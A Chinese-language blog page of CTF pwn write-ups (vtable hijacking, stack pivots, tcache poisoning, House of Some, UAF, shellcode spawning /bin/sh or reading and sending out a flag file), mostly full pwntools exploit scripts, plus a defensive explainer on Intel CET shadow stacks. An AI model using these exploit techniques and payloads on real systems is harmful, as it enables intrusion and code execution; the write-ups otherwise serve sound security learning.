rik 发布的文章

CTFers

题目链接

程序有三个功能,增删查。新增时暂存名字用到了 name_buf,查询时有一个虚函数调用 Binary::infoWeb::info。另外还有一个隐藏后门 0xdeadbeef,可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE,那么当然可以将地址改到 name_buf,从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。

BinaryWeb 继承自 CTFerstd::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info,这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定,但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此:

004025f4  mov     rdx, qword [rax]
004025f7  mov     rdx, qword [rdx]
004025fa  mov     rdi, rax
004025fd  call    rdx

CTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器,但我们可以通过在 new 前后断点,查看新增堆块的内容来反推其结构。

以下是用 C 语言表示的 CTFer 对象:(符号名仅作参考)

struct CTFer {
    void (**vtable)(struct CTFer *);
    int64_t points;
    struct std_string {
        char *base;
        size_t length;
        union {
            size_t capacity;
            char buffer[16];
        };
    } nickname;
};

length < 16buffer 复用 capacity 内存而非单独 malloc,不过这并不重要。我们可以先恢复正确的虚函数表,然后修改 nickname base 指向 GOT 项,修改适当的 length,从而通过 print_info 泄露基址。

获得各个库的基址绕过 ASLR 后解法就十分自由了,只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象,也就是可控的 name_buf,可依此选择 gadget。

这里我们选用来自 libstdc++ 中的一个 COP gadget:

0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];

然后只需要在 name_buf 上写 ROP 链即可。

Exp:

from pwn import *
context(os='linux', arch='amd64')

e = ELF('./ctfers')
io = ...
libc = ELF('./libc.so.6', checksec=False)


def add(fake_object: bytes):
    io.sendlineafter(b'Choice > ', b'0')
    io.sendlineafter(b'Name > ', fake_object)
    io.sendlineafter(b'Points > ', b'0')
    io.sendlineafter(b'- 1 > ', b'0')


def show_info():
    io.sendlineafter(b'Choice > ', b'2')


def backdoor(address: int):
    io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode())
    io.sendline(str(address).encode())


vtable = 0x408C98
cout = 0x409080
libc_start_main_got = e.got['__libc_start_main']
input_buf = e.sym['name_buf']

# 还原虚函数表指针,改 std::string 头指针为 got 项
add(cyclic(16) + p64(vtable) + p64(0) +
    p64(libc_start_main_got) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info()  # leak libc

io.recvuntil(b'I am ')
libc.address = u64(io.recv(8)) - 0x274c0 - 0x2900
success(f'libc_base: 0x{libc.address:x}')

add(cyclic(16) + p64(vtable) + p64(0) + p64(cout) + p64(8) + p64(8))
backdoor(input_buf + 16)
show_info()  # leak libstdc++

io.recvuntil(b'I am ')
libstdcxx_base = u64(io.recv(8)) - 0x223370
success(f'libstdcxx_base: 0x{libstdcxx_base:x}')

# mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];
magic = libstdcxx_base + 0x0000000000113764
leave = 0x0000000000402a63
pop_rax = libstdcxx_base + 0x00000000000da536
pop_rbp = libstdcxx_base + 0x00000000000aafb3
one_gadget = libc.address + 0xebd43
add(cyclic(16) + p64(input_buf + 8 + 16) + p64(magic) +
    
    p64(pop_rax) +
    p64(0) +
    p64(pop_rbp) +
    p64(0x4093a0) +
    p64(one_gadget) +
    
    p64(leave))
show_info() # 栈迁移 ROP

io.interactive()

Payload 有时会被空白字符截断,可能需要多次尝试。另外,类似虚函数表劫持的利用手法一般需要通过 UAF 构造重叠堆块来控制虚函数表指针。本题在删除 CTFer 时仅调用了 std::vector#remove(...),由于 ctfers 中存储的是 CTFer *remove 并不会调用 CTFer 对象的析构器也不会释放其内存。题目初版有 delete 也有 UAF,后简化为给一个后门函数并关闭 PIE。

miniLCTF{In_real_scenarios_you_need_a_UAF}

MiniSnake

题目链接

程序存在后门函数且没有开启 PIE。漏洞点是 events_handler 线程同时处理撞墙和得分,但是用于闪烁显示“GOT POINT!”的 thrd_sleep 会阻塞线程从而使 events_handler 有可能错过撞墙事件处理。通过源码可以看出地图存储在栈上,蛇身也在显示前先写入地图中。如果开始游戏前选择“Numeric skin”则可以向栈上写入任意数值,在得分之后立即撞墙则可以穿墙越界写入。

需要找到合适的种子生成合适的初始蛇或食物从而写入后门函数地址。得到合适的种子很简单,只需要照着程序逻辑写一个爆破程序即可。

#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    for (int seed = 0; seed < INT_MAX; ++seed) {
        srandom(seed);
        if (random() % (UINT8_MAX - 1) + 1 == 0x40 &&
            random() % (UINT8_MAX - 1) + 1 == 0x16 &&
            random() % (UINT8_MAX - 1) + 1 == 0x4D) {
            printf("FOUND SEED: %d\n", seed);
        }
    }
    return 0;
}

但是返回地址在地图外的哪里?还得小心 stack canary。如果动态调试寻找的话会十分折磨。可以考虑用 keypatch 等工具修改程序中地图显示的高度从而快速定位返回地址的位置。(也可考虑修改源码再编译)

.text:0000000000401DDB
.text:0000000000401DDB loc_401DDB:                             ; CODE XREF: draw+83↑j
.text:0000000000401DDB                 cmp     [rbp+var_18], 11h ; Keypatch modified this from:
.text:0000000000401DDB                                         ;   cmp [rbp+var_18], 0Fh

.text:000000000040249F                 mov     edi, 14h        ; int
.text:000000000040249F                                         ; Keypatch modified this from:
.text:000000000040249F                                         ;   mov edi, 12h

Patch 后再次启动程序就可以看到效果(可能需要调整下终端宽高):

*--------------------------------*
|                                |
|      aa                        |
|            ac                  |
|                        b49182  |
|                                |
|                                |14 3
|                                |
|                10              |
|        ca                      |
|                              ab|
|            1b            de    |
|    98                          |
|            ad      be          |
|                                |
|                                |
|                                |
|d0eb1212ff7f      f3584b5c7e1f54|
|20ec1212ff7f    a32640          |
*--------------------------------*

可以看到返回地址就在右下角,其上是 stack canary。

合适的种子可以是 16183281,此时初始蛇身就是后门函数地址。接下来穿墙到达返回地址的位置按 Q 退出即可。记下拐弯时的坐标方便攻击远程环境。

miniLCTF{secret_destination_behind_walls}

EzDB

程序模拟了一个数据库,其中每个表的数据从高地址向低地址增长,低地址存放数据的堆上偏移。每个表总长 1024 字节,每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值,从而修改块大小,得到堆上无限长溢出读写。

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './db'

# io = process(binary)
io = connect('61.147.171.106', 61212)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

def create(index: int):
    io.sendlineafter(b'>>> ', b'1')
    io.sendlineafter(b'Index: ', itob(index))

def remove(index: int):
    io.sendlineafter(b'>>> ', b'2')
    io.sendlineafter(b'Index: ', itob(index))

def insert(index: int, length: int, content:bytes) -> int:
    io.sendlineafter(b'>>> ', b'3')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)
    io.recvuntil(b'slot id: ')
    return int(io.recvline(False).decode())

def get(index: int, slot: int) -> bytes:
    io.sendlineafter(b'>>> ', b'4')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.recvuntil(b'Varchar: ')
    return io.recvline(False)

def edit(index: int, slot: int, length: int, content: bytes):
    io.sendlineafter(b'>>> ', b'5')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)

def exitit():
    io.sendlineafter(b'>>> ', b'6')

for i in range(10):
    create(i)
for i in range(1, 10):
    remove(i)

insert(0, 1021, cyclic(1020) + b'\x00')
rec = get(0, 0)
libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0
success(f'libc_base: 0x{libc.address:x}')
tcache_key = u64(rec[1037 : 1037 + 8])
success(f'tcache_key: 0x{tcache_key:x}')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000)
payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0)

rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_list_all'] - 0x400 + 16) ^ (tcache_key + 1)))
edit(0, 0, 7613 + 8, rec[:7613 + 8])

create(1)
insert(1, len(payload), payload)
create(2)
insert(2, 16, p64((tcache_key << 12) + 8128) + p64(0))

exitit()
hos.bomb(io)

io.interactive()

smart_door_lock 复现

分析题目附件

题目给出了启动脚本和 Dockerfile,一个根目录 cpio 镜像,一个内核镜像。打开 rootfs.cpio,在 /init 里有

nohup /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf >/dev/null &
nohup bash /usr/sbin/mqtt_restart.sh >/dev/null &

。其中 mosquitto 是 MQTT 协议的 message broker,是一个用于物联网设备的消息代理服务,和其他设备远程通信。所以这道题的远程环境不是用 nc 直接连的,也没法直接用 pwntools。

/usr/sbin/mqtt_restart.sh 每秒尝试重启 /usr/sbin/mqtt_lock

#!/bin/bash
PROCESS_NAME="mqtt_lock"

while true; do
    if ! ps -ef | grep -v grep | grep -q "$PROCESS_NAME"; then
        nohup /usr/sbin/mqtt_lock > /dev/null 2>&1 &
    fi
    sleep 1
done &

,而 mqtt_lock 就是我们要逆向分析的程序。

MQTT 协议

...

连接 / 利用

首先要把设备的证书取出来,在 /etc/mosquitto/certs,然后用 Python paho 连接设备。

import paho.mqtt.client as mqtt
import ssl

client = mqtt.Client()
client.tls_set(ca_certs="./certs/ca.crt", tls_version=ssl.PROTOCOL_TLS)
client.tls_insecure_set(True)
client.connect('localhost', 8883)
client.loop_start()

但是比赛期间一直不知道该订阅什么 topic,mqtt_lock 又是个静态链接无符号的程序,逆向起来实在难绷。topic 一般有斜杠 /,我翻遍所有的字符串也没找到像 topic 的,于是就先去做其他题了。

订阅 # 就是订阅所有 topic,但对于这道题也没什么用,这个设备不会主动发送任何信息。其实是向 auth_token topic publish 16 字节长的字母数字字符串作为 TOKEN,然后向 TOKEN topic 发送指纹。指纹在 /etc/mosquitto/fingers_credit 中取。

之后就是增删改查堆利用了。

待续...

签个到吧

执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。

io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')

好easy嘅题啦

VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'create? ', b'1\n')

# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5

def heap():
    io.sendline(b'heap 0 0')
    sleep(s)

def alloc(size: int):
    io.sendlineafter(b'Heap operate: ', b'alloc')
    io.sendlineafter(b'Size: ', itob(size))
    sleep(s)

def free():
    io.sendlineafter(b'Heap operate: ', b'free')
    sleep(s)

def printit():
    io.sendlineafter(b'Heap operate: ', b'print')
    sleep(s)

def input(content: bytes):
    io.sendlineafter(b'Heap operate: ', b'input')
    io.sendafter(b'Input: ', content)
    sleep(s)

def AveMujica():
    io.sendline(b'AveMujica 0 0')
    sleep(s)

io.recvuntil(b'Input your Code (end with EOF): ')

for _ in range(13):
    heap()
AveMujica()
io.sendline(b'EOF')

alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 9
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 7
    syscall
    mov rsi, rsp
    
"""))
free()
printit()

io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')

alloc(0x60)
free()
printit()

io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')

input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_key << 12,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    (heap_key << 12) + 1888
]))

io.interactive()

p.wait()

由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。

米塔调试机

输入指令时使用 scanf %s,可以溢出修改栈上 nowhomenowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhomenowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_allname 处,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'

# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')

io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
    io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')

name = 0x4040E0

fake_heap  = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))

io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))

io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)

io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)

io.interactive()

虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?

题目链接

messages

程序分为 input_messagesprint_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段,字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组,字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等(即使实际只有几个字符)。注意虽然正常键盘输入无法输入空字符,但利用 pwntools 等工具可以直接向程序输入空字符,无论程序直接使用系统调用还是使用标准库 IO 函数(本题未涉及,但也常见)。所以我们可以在输入的字符串中间插入空字符(b'\0'),程序输出时没有检查字符串最大个数(只检查了字符串最大长度,因此无法直接溢出),可以构造多个字符串(长度须大于 1),从而使程序在之后的字符串数组转换过程中数组下标溢出,直至栈上返回地址。栈上每个字符串占用 56 字节,一个长度占用 8 字节,长度数组长 20 * 8 字节,所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text,程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组(IDA 无法正确识别),需要手动修复字符串数组以及长度数组变量类型(char messages[16][56];size_t lengths[20];)。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组
io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址(`\x01` 可为任意非空字符)
io.sendafter(b'> ', b'\n') # 结束输入

io.interactive()

strncpy 会将目标剩余空间全部清零,所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型,也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串,结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。

messages_flag2

拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组,程序可以越界输出栈上值。栈上一定存在 libc 地址(例如 main 的返回地址在 __libc_start_main 中),因此可以泄露 libc 基址。本题栈上变量布局比较凑巧,虽然由于字符串输入会被地址空字节截断,因此无法在同一个字符串中连续输入两个地址(x86_64 虚拟地址长度仅 6 字节,用户空间地址中必然包含空字节),无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处,所以可以同时修改,构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段,提前在此输入 ROP 链(注意先将输入字符串填充至 8 字节对齐),即可 getshell。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')
libc = ELF('./libc.so.6', checksec=None)

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main']))
io.sendafter(b'> ', b'\n')

io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
libc.address = u64(io.recvuntil('有人说:'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128
success(f'libc_base: 0x{libc.address:x}')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01')
io.sendafter(b'> ', cyclic(48) + p32(0x4040f8)[:-1]) # 去除地址中空字节
io.sendafter(b'> ', p64(libc.search(asm('leave;ret')).__next__()))
payload0 = flat([
    0x405000,
    libc.search(asm('pop rdi;ret')).__next__(),
    libc.search(b'/bin/sh\x00').__next__(),
    libc.search(asm('pop rsi;ret')).__next__(),
    0,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
])
payload1 = b'\x00' * 15 + p64(libc.sym['execve'])
io.sendafter(b'> ', cyclic(5) + payload0)
io.sendafter(b'> ', payload1)
io.sendafter(b'> ', b'\n')

io.interactive()

注意由于 bss 空间不大,getshell 时不能使用 system 函数,否则执行过程中栈指针到达不可写段触发段错误。改用 execve 系统调用包装函数,传参 "/bin/sh", 0, 0,无需额外栈空间。(栈迁移时一般都如此)

endbr64 是什么?

以前逆向程序的时候一直好奇 Linux 环境下编译的 C 程序每个函数开头的汇编指令 endbr64 有什么用。查阅 Intel 编程手册,其中对这个指令的描述是:

Terminate an Indirect Branch in 64-bit Mode

呃,啥?

经过一些搜索后发现这个竟然是一种新型的针对 ROP 的保护机制,作为 pwner 这下不得不了解了。

Intel CET

Intel CET(Control Flow Enforcement Technology / 控制流加固技术)是近年刚兴起的技术,其中包含 Shadow Stack(SHSTK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake CPU 及以上才支持。下面是我个人对这两个技术粗略不严谨的理解:

Shadow Stack 是程序运行时在不同虚拟内存段中同时维护两个调用栈,其中一个是“影子栈”,只存储返回地址。CPU 在函数调用与返回过程将同时操作两个栈,如果在函数返回时发现正常调用栈的返回地址与影子栈中的不同就产生段错误。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,几乎所有 ROP / JOP 也都将失效。

Indirect Branch Tracking 是 CPU 每当执行长跳转时都检查自己下一个指令是否为 endbr64 / 32,如果是就不执行任何操作(类似 nop),如果不是就产生段错误。(实际实现是 CPU 内部维护一个状态机)

目前 Windows 只支持 Shadow Stack(Windows CFG,类似 Intel CET),还不支持 endbr 标记的 IBT;Linux 上也几乎没有支持,算是高度实验性的功能。接下来是在 Linux 上实验启用 CET 的具体操作,主要看 Shadow Stack

验证 Intel CET 是否可用

首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

验证当前程序(cat)运行时是否已启用 Shadow Stack:(通常不会启用)

$ cat /proc/self/status | grep shstk
$ cat /proc/<pid>/status | grep shstk # pid 为 <pid> 的程序是否启用 Shadow Stack

GCC / glibc 环境启用 Intel CET SHSTK / IBT

我的环境:

System: Archlinux
Kernel: 6.11.6-zen1-1-zen
glibc: GNU C Library (GNU libc) stable release version 2.40

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK

[!NOTE]

将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个超大的内存段,这就是 Shadow Stack。断点一个 libc 调用层级较深的函数,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈)。

CET 默认不启用确实有道理,在我自己电脑上测试,全局设置环境变量(on)后连 gdb 都打不开了... 整个系统也变得极不稳定。

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

